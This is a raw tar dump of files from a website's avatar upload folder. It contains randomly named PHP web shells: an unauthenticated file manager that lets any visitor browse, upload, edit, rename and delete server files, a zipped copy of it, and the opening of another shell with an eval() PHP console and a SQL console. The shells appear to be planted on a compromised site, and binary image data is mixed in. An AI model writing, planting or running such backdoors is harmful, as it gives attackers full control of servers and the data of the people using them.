        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>67c1be3c7f0cd.jpg.tar000064400000005000000000000000010030 0ustar00var/www/html/back/storage/app/public/avatars/10/67c1be3c7f0cd.jpg000075500000001567000000000000020127 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���b3vd5z.zip000064400000026165000000000000006360 0ustar00PK!�2<�+�+	bci4w.phpnu�[���<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>000</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>PK!�2<�+�+	bci4w.phpnu�[���PKI,orb3c.php000064400000234756000000000000006247 0ustar00<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
